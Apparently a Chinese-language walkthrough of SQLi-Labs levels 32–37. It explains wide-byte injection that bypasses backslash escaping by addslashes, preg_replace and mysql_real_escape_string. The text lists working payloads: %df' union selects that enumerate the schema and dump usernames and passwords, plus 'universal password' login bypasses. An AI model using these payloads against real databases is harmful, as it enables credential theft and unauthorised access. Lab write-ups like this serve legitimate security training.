第32关总结:
32关对输入进的单引号及双引号进行了反斜杠转义,我们需要进行宽字节注入,宽字节注入的原理:数据库编码必须是utf-8,gbkb等,不能为ascii编码,\编码为%5c,使用%df与%5c进行拼接,形成%df%5c(一个汉字),变成了一个有多个字符,从而闭合了单引号
1'")
从显示结果可以看出来这里对单引号与双引号进行了反斜杠转义,我们首先就会想到宽字节注入
1%df' 2%df' and 1=1--+ 2%df' and 1=2--+
判断出这里为单引号注入类型
1%df' order by 3--+
-1%df' union select 1,2,3--+
-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)--+
-2%df' union select 1,group_concat(username),group_concat(password) from users--+
32关源码:
第33关总结:
这关与32关都为宽字节注入,只是在源代码使用的函数不同。32关使用preg_replace()函数对输入字符进行查找替换,33关使用addslashes()函数对输入的字符添加反斜杠
确定注入类型
通过验证,这关也存在反斜杠转义
注入过程中发现与32关的注入语句是一样的
查看源码发现不同点
这里使用了addslashes()函数,这个函数就是添加反斜杠函数
第34关总结:
首先这关是POST传参形式,也是宽字节注入,和前面一样
使用万能密码进入
admin%df' or 1=1#
发现为单引号字符型
admin%df' union select 1# admin%df' union select 1,2#
admin%df' union select 1,database()#
剩余的注入步骤与前面关卡相同
第35关总结:
这里为数字型sql注入,对输入的字符同样做反斜杠处理,也是宽字节注入,比前面宽字节注入关卡稍微简单一些
对输入进来的字符进行了反斜杠处理
2 and 1=1--+ 2 and 1=2--+
数字型注入
查看当前数据库
下面操作与前面关卡相同
查看源码
第36关总结:
这里也是单引号字符型注入,需要使用宽字节注入来进行绕过。只是源码中的函数不同
2%df' and 1=1--+ 2%df' and 1=2--+
通过注入发现,这里和前面关卡一样。单引号字符型注入,需要使用宽字节注入来进行绕过。只是源码中的函数不同
函数mysql_real_escape_string()
作用: 转义 SQL 语句中使用的字符串中的特殊字符
下列字符受影响:
\x00
\n
\r
’
"
\x1a
第37关总结:
37关为POST注入类型,只是源码中的函数变为mysql_real_escape_string(),用于转义 SQL 语句中使用的字符串中的特殊字符
通过测试发现,具有反斜杠转义
通过报错可以看出是单引号注入类型
admin%df'%df")
万能密码成功进入
admin%df' union select 111111,222222#
下列字符受影响:
\x00
\n
\r
’
"
\x1a